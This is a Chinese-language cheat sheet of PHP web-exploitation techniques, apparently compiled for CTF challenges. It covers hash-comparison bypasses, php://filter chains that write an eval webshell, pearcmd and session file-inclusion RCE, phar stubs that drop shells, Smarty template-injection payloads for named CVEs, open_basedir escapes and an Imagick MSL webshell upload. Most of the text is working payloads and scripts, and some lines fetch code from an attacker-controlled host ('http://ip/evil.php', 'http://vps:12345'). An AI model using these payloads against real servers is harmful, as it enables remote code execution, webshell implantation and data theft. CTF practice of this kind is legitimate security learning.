php

Tricks

preg_match()

换行绕过

对单行匹配的开头或结尾使用 %0a 绕过。

数组绕过

只能处理字符串,当传入的subject是数组时会返回false。

回溯上限绕过

回溯次数默认为1000000,如果回溯次数超过这个数字,preg_match会返回 false。

MD5/Sh1绕过

弱比较

两个字符串想当作科学计数法比较时 0e 后必须为纯数字。

一次md5

1
2
240610708
QNKCDZO

两次md5

1
2
3
4
ytl8J61NmcUGzwq
r8qcz79YWDuD2
JfuHrIeEKwz3j
xAF5pSE7u

一次sha1

1
2
3
aaK1STfY
aaO8zKZF
aa3OFF9m

数组绕过

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

强碰撞

md5

[安洵杯 2019]easy_web

1
2
$a1="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2";
$a2="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2";
sha1
1
2
3
4
<?php

$a="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1";
$b="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1";

反序列化 “整数” 和 “字符” 互化

[CISCN 2023 华北]ez_date

1
2
3
4
5
6
class date{
public $a=1;
public $b="1";
public $file="/f\l\a\g";
}
echo base64_encode(serialize(new date()));

create_function

代码注入

1
2
3
4
5
}system('tac /flag');//

function lambda_1() {
}system('tac /flag');
//}

匿名函数

1
2
$func = create_function("","die('end.');");
$func = "%00lambda_89"

后面的数字是在服务器自增的,除非结束php的进程,刷新网页仍会继续计数。

CVE-2024-2961(cnext)

影响版本:(PHP 7.0.0 (2015) 到 8.3.7 (2024))

从任意文件读到RCE(非交互式的改良版脚本)

GitHub - kezibei/php-filter-iconv

下载 maps 和 libc,注意一定要用 b64 encode,然后解码保存,否则可能出错。修改一下 python 文件里的对应文件路径和bash命令,打码之后 502 属于正常情况。

include RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

从文件操作函数到任意文件读

github.com/synacktiv/php_filter_chains_oracle_exploit

1
python filters_chain_oracle_exploit.py --target http://xx/xx.php --file '/var/www/html/file_u_want_to_read.php' --parameter funciton_u_guess

image-20251019145936036

死亡 exit

介绍一个过滤器:

1
php://filter/read=string.strip_tags/resource=

对于HTML来说,它会去除标签保留标签之间的内容。

但只有左 < 没有右 > 的后面一律全部杀。

对于php来说,全杀一个不显示。

非同名

1
2
3
4
5
6
7
8
?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

先用 strip 去掉 php 代码 然后再用 base64-encode 来解码我们的 webshell

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

这个payload 也可以绕过死亡 exit,PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 是正常的 b64编码后的 webshell,前面a字母和死亡exit中除了特殊字符外的phpexit组成 8 个 byte,从而绕过

同名

1
2
3
4
5
6
7
8
9
10
11
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php

php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php

php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php

这里 strip_tags 是为了去掉 等号 否则 b64 解码可能到等号就停止了,这样加个 ?> 闭合 然后用 strip_tags 都去掉 php代码,最后留下的就是正经的

这里构造虚拟目录然后再退出,目的就是让文件可读可访问,要不然全是特殊字符。

php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess

include文件包含

file://localhost/xxx = /xxx

日志包含

URL:?x=/var/log/nginx/access.log

修改 User-Agent<?php highlight_file('xxx.php'); ?>

有后缀绕过

?c=data:text/plain,<?php system('ls')?>

?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4

?c=data:,<?php system('ls')?>

phar => RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$phar = new Phar('rce.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
通过 gzip 压缩绕过检测
1
gzip rce.phar
通过改名绕过检测

只要名字中包含子串 .phar 就行,不要求一定是后缀。

这里特指 include,如果其他操作函数需要带上 phar://,这时不要求任意文件名,并且所有的 phar 都可以压缩。

zip/phar协议包含压缩包

1
2
3
4
5
include("zip://php.zip#php.jpg");
include("phar://phar.zip/php.jpg");

# 要求前缀不是 phar 可以加入其他协议
include("compress.zlib://phar://phar.phar/test.txt");

pearcmd/peclcmd 包含

使用条件:

  1. [7.3版本前默认安装]安装了pear扩展(pear 就是一个php扩展及应用的代码仓库,未安装 pear 扩展的话就没有 pear.php 文件可利用)

  2. 知道 pearcmd.php 文件的路径

  3. 开启了register_argc_argv 选项(只有开启了,$_SERVER[‘argv’] 才会生效。)默认为Off【Docker环境下的PHP会开启】

  4. 有包含点,并且能包含php后缀的文件,而且没有 open_basedir 的限制

argcargv 都是用 +(没编码前的,感觉就类似于空格),区分参数的。

1
2
3
4
5
<?php
$a=$_GET['a'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>

原理就是,当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令。

POST 中传 1=localhost/usr/local/lib/php/pearcmd.php

GET 中传 ?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php

原参数命令:

1
2
3
config-create: must have 2 parameters, root path and filename to save as
pear config-create /<?=@eval($_POST[1]);?> /tmp/leekos.php # 第一个需要带一个 / 因为必须是路径(Root directory must be an absolute path beginning with "/")
?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php

注意这个必须在 GET 中传才可以哦!

并且,直接url中get传参会把 < 这些字符自动编码,就成功不了,所以用burp抓包再改传参。

常规 exp:

1
2
3
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/evil.php (路径:/tmp/pear/download/evil.php)

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[0]);?>+/tmp/hello.php(路径:/tmp/hello.php)

session 文件包含

原理就是 服务器会在tmp目录下按照 sess_ + session 名字存储一个 php序列化后的参数值,那么我们假如给他传一个 file 的同时带上参数 PHP_SESSION_UPLOAD_PROGRESS,他就会记录下这个参数,然后再进行执行就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://ce9a3a98-d94d-4fde-82d6-8b3091f110f6.challenge.ctf.show/"

data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1': 'localhost/tmp/sess_ctfshow',
'2': 'system("cat /f*");'
}

file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}

response = requests.post(url=url, data=data, files=file, cookies=cookies)
print(response.text)

一些常见的 session 位置

1
2
3
4
5
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

move_uploaded_file

image-20251104211657316

当move_uploaded_file函数参数可控时,可以尝试 /. 绕过,因为该函数会忽略掉文件末尾的 /.,所以可以构造 save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的 /. 可以实现保存文件为 .php

参数特性

特殊参数符号

PHP 会替换 ,+[ 等特殊符号为 _

但要是第一个是 [ 就会在把它替换为 _ 后就会停止替换。

$_REQUEST

POST覆盖,$_REQUEST 同时接受 GET 和 POST 的数据,并且 POST 具有更高的优先值,只需要同时 GET 和 POST 有相同的参数,在检测时 POST 的值就会覆盖 GET 的值从而绕过。

smarty 模板引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
X-Forwarded-For: {if system('ls /')}{/if}
X-Forwarded-For: {if system('tac /f*')}{/if}

X-Forwarded-For: {{system("ls")}} (有回显)
{$smarty.version} (smarty版本号)
{php}phpinfo();{/php} (废弃)
{if phpinfo()}{/if}
{self::getStreamVariable(“file:///etc/passwd”)} (旧版本)

{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

{function name='rce(){};system("id");function '}{/function}

# Smarty3
string:{include file='C:/Windows/win.ini'}

# CVE-2021-26120,Smarty<3.1.39
string:{function name='x(){};system(whoami);function '}{/function}

# CVE-2021-26119,Smarty=3.1.44/4.1.0
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}

# CVE-2021-29454,PHP7,Smarty<3.1.42/<4.0.2
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

intval

低版本可以用科学计数法绕

1
2
3
_GET["lover"] = "4e5"

intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024
  • 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
  • 对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
  • 当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
  • 当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
  • 当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
  • a当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

putenv()+system()

1
2
3
4
envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}

get[BASH_FUNC_echo%%]=() { cat /f*; }
parma[BASH_FUNC_echo()]=() { id; }

变量覆盖

image-20251104214305056

注释绕过

  • 注释符号优先级小于 ?> 的了。所以我们只需要闭合然后再重新开就能执行代码了。
  • 换行符 %0a/%0d

ini_set()

1
ini_set($name,$value);` => `name=error_log&value=/var/www/html/out.php

file_get_contents

1
echo file_get_contents("suibian://www.baidu.com/../../../../../../../etc/passwd");

用不存在的协议 绕过正则匹配。

parse_url

任意协议都可以解析,可以和上文提到的 file_get_contents 配合绕过。

  • //绕过

    把//认为是相对路径(PHP<5.4.7)。

    如果是//,则被解析成host,后面的内容如果有/,被解析出path,而不是query了。

  • ///绕过

    三个斜杠导致严重不合格的URL,parse_url() 返回FALSE。

静态方法调用

1
2
3
4
5
6
7
8
9
10
11
12
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}

$a = "qwq::oao";
$a();

php精度溢出

1
2
3
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)

$a = 9e-199

open_basedir

限制只能访问某一目录时,但敏感信息在其他根目录或其他子目录。

1
2
3
mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readgzfile('/f1ger');

mkdir('/tmp/test');chdir('/tmp/test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));@eval($_POST[a]); echo 1;

basename

返回路径中的文件名部分,会去掉文件名开头的非ASCII值。

1
2
3
4
var_dump(basename("\xffconfig.php")); => config.php
var_dump(basename("config.php\xff")); => config.php

basename($_SERVER['PHP_SELF']) => 运行中的php文件名字

new + 原生类

eval("echo new $a($b);");

1
2
3
4
5
6
$a="SplFileObject";
$b="system('whoami')";

$a="Exception";
$b="system('whoami')";
eval("echo new $a($b);");

echo new $a($b);

1
2
3
4
5
6
7
8
9
10
#列目录
$a="DirectoryIterator";
$b="glob://f*";

#读文件
$a="SplFileObject";
$b="1.php";

$a="SplFileObject";
$b="php://filter/convert.base64-encode/resource=1.php";

(new $a($b))->$c($d);

1
(new ReflectionFunction('system'))->invoke('whoami');

new $a($b);

要求:

  1. 需要知道网站的目录(比赛中通常是 /var/www/html 或者 /app 这类);

  2. 需要在网站目录下有写权限,当然如果知道类似于upload这种文件夹的路径也可以(因为通常它们是可写的);

  3. 最最重要的:需要有装Imagick扩展,该扩展其实不是默认自带的(一定程度上限制了攻击面)。

vps 构造恶意图片:

1
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv e.png

上传临时文件配合类读入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1
Host: 1.1.1.1:32127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmq
Tayg6bqr
Content-Length: 348

------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://vps:12345/positive.png" /> 利用出网读文件
<read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" /> 不出网 caption

<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--

php filter伪协议底层分析

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

//echo urlencode("convert.base64-decode").PHP_EOL;
echo file_get_contents("php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess").PHP_EOL;

echo file_get_contents("php://filter/resource=a/convert.base64-decode/../../a.txt").PHP_EOL;

echo file_get_contents("php://filter/resource=a/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65/../../a.txt").PHP_EOL;

echo file_get_contents("php://filter/resource=data:,2024<|string.strip_tags|/resource=/dev/null").PHP_EOL;#这里 string.strip_tag 把 "<" 以后的当作 html 标签全部杀了,所以只留下了 2024
#data:,2024 = data://text/plain,2024
#data:;base64,YWRtaW4 = data://text/plain;base64,YWRtaW4
//echo file_get_contents("php://filter/string.strip_tags/resource=1.txt");

对于 filter 的获取,先获取到 php://filter,然后指针向后挪动一位,(如果存在 write=read= 再往后推5或6个指针,当然如果不写也没问题,PHP会自己判断),后面所有的都在 filter 协议考虑范围内:用 “/“ 进行分割(如果存在多个再按照 “|” 分割),并进行一步 Urldecode,如果协议存在按照顺序调用,如果不存在的直接略过。
对于 resource 的获取,获取到第一个 resource= 字样后,后面都是他的文件路径,这里文件路径支持 目录穿越

php 常见的语言结构

控制结构:if, else, while, for, foreach, switch, do

输出:echo, print

包含文件:include, include_once, require, require_once

变量处理:isset, unset, empty

其它:eval, exit, die, list, array()

无法通过function调用。

php 运算顺序

优先级 运算符 描述
1 clone, new 创建对象
2 ** 幂运算
3 ++, -- 递增/递减
4 ~, (int), (float), (string), (array), (object), (bool), @ 类型转换和错误控制
5 instanceof 类型判断
6 ! 逻辑非
7 *, /, % 算术运算
8 +, -, . 算术运算和字符串连接
9 <<, >> 位运算
10 <, <=, >, >= 比较运算
11 ==, !=, ===, !==, <>, <=> 比较运算
12 & 位与、引用
13 ^ 位异或
14 ` `
15 && 逻辑与
16 `
17 ?? NULL 合并
18 ? : 三元运算符
19 =, +=, -=, *=, **=, /=, .=, %=, &=, ` =, ^=, <<=, >>=`
20 and 逻辑与(低优先级)
21 xor 逻辑异或
22 or 逻辑或(低优先级)

php 弱比较

  • 两个0e开头纯数字的会被当作科学计数法解析
  • 0 和 0e开头后面无所谓的弱相等
  • 任意字符串和 true 弱相等

RCE大法

无字母数字 eval

进制/编码转换(PHP>=7)
1
2
3
4
5
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo(); //八进制转换
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');//十六进制转换
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');//unicode转换

{"username":"xx","password":"yy","__class__" : {"__base__" : {"is\u0076ip" : 1}}}//unicode转换
通过计算达成目的(PHP >= 7)

rce_or.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php") # 没有将php写入环境变量需手动运行

def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


# while True:
# param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
# data = {
# 'c': urllib.parse.unquote(param)
# }
# r = requests.post(url, data=data)
# print("\n[*] result:\n" + r.text)
